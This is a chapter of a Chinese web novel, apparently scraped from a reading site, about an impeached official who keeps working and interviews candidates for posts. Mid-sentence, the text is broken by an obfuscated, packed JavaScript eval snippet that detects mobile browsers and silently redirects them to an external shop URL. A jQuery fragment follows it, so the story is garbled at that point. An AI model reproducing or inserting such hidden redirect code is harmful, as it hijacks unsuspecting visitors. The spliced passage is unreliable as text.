文趣网 > 都市小说 > 青衫问卿卿 > 37. 噤若寒蝉
    殿上鸦雀无声。

    田尚书低着头,眼观鼻鼻观心,文选司的事他心里最清楚。

    调任文书排着队等人批,会试考官的名册还没核完,正月经赋里还有一批外官的考评要复核。这时候接手,繁琐不说,旁人还要在背后指指点点,说一句“乘人之危”。

    况且这个摊子烫手得很,谁来接?没人愿意。倒不如让她自己干着,等三司查完了再说。

    大家的心思都差不多,一时间竟没有一个人出列。

    皇帝等了片刻,见无人应声,便收回目光,看向跪在丹墀前的谢清辞:“既无人愿代,谢清辞暂留衙中协理部务,不必回避。待勘期间,余事照旧。”

    留衙待勘。不是停职,还得让她继续干活。

    谢清辞叩首谢恩。她将官帽重新戴回头顶时,嘴角有一丝笑,几乎不可察觉。

    她知道这不是因为皇帝有多信她。开年事务冗杂,会试大计迫在眉睫,离了她,文选司这摊子事没人愿意临时接手,这是务实,不是信任。

    但务实就够了。只要她还能站在文选司的公廨里,只要她还能翻考功司的考评册子,那些人就不敢轻举妄动。

    张阁老站在文官之首,面色如常,只微微欠了欠身,向皇帝应了声“老臣领旨”。隔着满殿朝臣,谢清辞与他的目光在空气中极短地碰了一下。

    她看到了那双老迈而锐利的眼睛里藏着的所有东西,那条关于郑参议的弹劾,才是他真正的筹码。搅混水也好,故技重施也好,都不重要。重要的是这把藏在暗处的刀,能不能一刀捅穿。

    而她垂下眼帘,面色依旧平静,只是眼中闪过一丝寒芒。

    散朝时天色已经大亮。谢清辞随人潮走出奉天殿,正月的冷风迎面扑来,吹得她的袍角猎猎作响。她没有回头去看张阁老,也没有去看那些方才在殿上弹劾她的人。她只是攥着手炉,一步一步走下丹墀,脚步与平日无异。

    回到文选司公廨时,廊道上已经挤满了听消息的人。

    柳主事见谢清辞过来,张了张嘴,却什么都没有问出口。谢清辞看了她一眼,只说了句“散了吧,没大事”。便推开公廨的门走进去,解下大氅在案后坐下。

    她惯用的小文吏替她研墨时,眼眶都是红红的,手抖得差点把墨锭掉在地上。

    “慌什么。”谢清辞拿起笔,铺开自辩折子的稿纸,“几封弹章就把你们吓成这样,当年我拿笏板打御史的时候,你还在考功司院里端茶呢。”

    文吏破涕为笑,揉了揉眼睛,继续研墨。

    正月的阳光透过窗棂落在案角,她开始写自辩折子。笔锋落下去的时候,她的嘴角慢慢弯起一个笑,转瞬即逝。

    她等的就是这个。等对方先动,等对方把最狠的那一刀亮出来,才能有破绽。

    谢清辞午后的工作照旧,丝毫没有受弹劾的影响。她事务繁忙,也没人这时候要她配合查问,

    只是屋里安静得不正常。平日里文选司的廊道上总有脚步声,闲聊声,几个年轻主事凑在一起核对考语时还会压低声音拌几句嘴。

    今日倒好,从她迈进公廨那一刻起,整条廊道就静得像熄了火的灶膛,连翻纸页的声音都带着一种蹑手蹑脚的克制。

    偶尔有人不得不从她门前经过,脚步快得像踩在炭火上,嗖地一下就过去了。

    柳主事进来送考功司新呈的考评册子,动作轻得像是怕惊着窝里孵蛋的母猫。她把册子搁在案角,嘴唇动了动,想说什么,又咽回去了。

    谢清辞抬头看了她一眼,她立刻扯出一个灿烂得有些过分的笑容,转身出去了。还顺手把门帘掖得严严实实,连条缝都没留。

    谢清辞搁下笔,端起茶盏呷了一口,心里只觉得好笑。

    她不用问也知道,弹劾的消息已经传遍了整个六部。文选司郎中在大朝会上被弹劾,佥都御史带头、几个科道言员轮番上阵,这事散朝不到半个时辰就传遍了六部衙门。

    这些人在廊道上探头探脑,压低声音窃窃私语的样子,她隔着门帘都能感觉到。

    她知道他们在怕什么。不是怕她发脾气。她虽然被叫“鼻孔相公”,但对底下人向来公事公办、不打不骂。

    他们怕的是站错队。弹劾还没查清,谁也不知道她明天还在不在这个位置上。这时候谁跟她多说一句话、多露一个笑,万一她倒了,被人翻出来就是一条罪证。

    她懒得计较这种事,在朝堂这些年,什么冷暖没见过。她只是有些无奈,自己脾气是有多差,让这些人一个个如履薄冰?

    午后是补缺官员的例行走廊。按文选司的规制,每季都有几个候补的知县、通判、州同知从各省来京候缺,到了日子便来文选司排班面见,由郎中亲自考校后定缺。

    今日排了三个人,两个知县缺,一个通判缺。

    第一个进来的是个四十出头的候补知县,河南来的,圆脸微胖,穿着簇新的七品官服,袖口折痕还在。

    他进门时在门槛上绊了一下,一个趔趄差点摔着,站稳后满脸通红地行礼,说话磕磕巴巴的。

    “下官、下官参见谢郎中。”谢清辞指了指对面的椅子让他坐,他坐了半个屁股,背挺得笔直,像是在受审。

    问了几句治下的水利赋税,他答得倒不差,只是一边说一边拿袖子擦汗,正月里的天,额头上汗珠子豆大。问到一半,他忽然站起来,从袖子里掏出一叠纸双手递上来,声音发抖。

    “这是下官在任上写的治水条陈,请、请郎中过目,下官不是要贿赂您,只是条陈、只是条陈。”

    谢清辞接过条陈翻了翻,写得比他说得利索多了。她忍着没笑,只说了句“条陈留下,你回去等消息”,那人便倒退着出了门,在门口又绊了一下,这回是真摔了,爬起来连官帽都没顾上扶正就跑了。

    紧接着进来个,三十出头的举人

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17561263|204270||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    出身,广东来的,个子瘦小,眼珠子却灵活,进门时也是战战兢兢,差点摔进门里。

    站稳后嘿嘿一笑,鞠了个躬说“门槛不低门槛不低”,倒有几分自嘲的洒脱。

    谢清辞照例问了几句,他对答如流,说话也爽利,只是在回答“为何愿意去川边”时结巴了:“下官听说、听说川边的百姓淳朴好相处......”

    谢清辞抬眼看了看他,他立刻泄了气,老老实实说:“下官家境贫寒,去边地俸禄虽薄但开销也小,攒几年能寄些银两回家。还有就是、就是边地缺官,升转比内地快些。”

    她点了点头,说了句“实话就好”,那人才松了口气,出去时脚步明显轻快了。

    最后见的是个五十岁上下的老举人,江苏来的,须发花白,走路慢吞吞的,进了门规规矩矩地行了礼,在椅子上坐稳了,双手搁在膝盖上。

    谢清辞问一句他答一句,不多说一个字。问到最后,他主动开口,声音不大却稳得很:“郎中,下官在门外听见前两位郎君说话。”谢清辞抬起眼。

    “下官候缺七年了,前两年候不到,说不急是假的。后来想通了,在县学里教书也能做点事,便不急了。”

    “这七年里换了几任文选司郎中,下官觉得您是最公允的。所以下官不急,等您安排就是。”

    谢清辞看着他,沉默了好一会儿,才说道:“你的名字我记住了。”

    老举人出去时,一位主事刚好端着新换的热茶进来,见他背影消失在廊道尽头,回头看看谢清辞,压低声音说:“郎中,这位老举人候缺七年,今年再不补就要超龄了。您看——”

    谢清辞端起茶盏呷了一口,语气平常:“不必多问。”

    主事愣了一下,随即闭了嘴,嘴角却微微翘了起来。她跟了谢清辞这么久,知道这语气意味着什么。郎中说要记在心里,就是真的记住了。那位老举人很快就会收到吏部的调任文书。

    等三个补缺官员都走了,谢清辞靠在椅背上,端起已经凉了半盏的茶慢慢喝着。

    小文吏进来收茶盏时,她却问了一句:“你说,我的脾气是不是真的不太好?怎么一个两个进了我这门,跟上刑场似的。”

    文吏手里端着茶盘,看了她一眼,小心翼翼地说:“郎中脾气好的时候特别好。就是不笑的时候是有点吓人。不过今天确实不是郎中的问题,是、是。是那些人的问题。郎中没事就好。”

    她说到后面声音越来越小,眼眶又有点红了,赶紧端起茶盘转身就走。

    谢清辞看着她的背影,无奈地摇了摇头。

    她搁下茶盏,重新拿起笔,翻开柳主事送来的考评册子。

    册子是新的,墨迹还是鲜亮的朱红色,她一行一行地看下去,笔尖偶尔在纸面上点一下,发出极细微的沙沙声。

    廊道上依旧是静悄悄的,那些小心翼翼的呼吸隔着门帘,隐隐约约地透进来。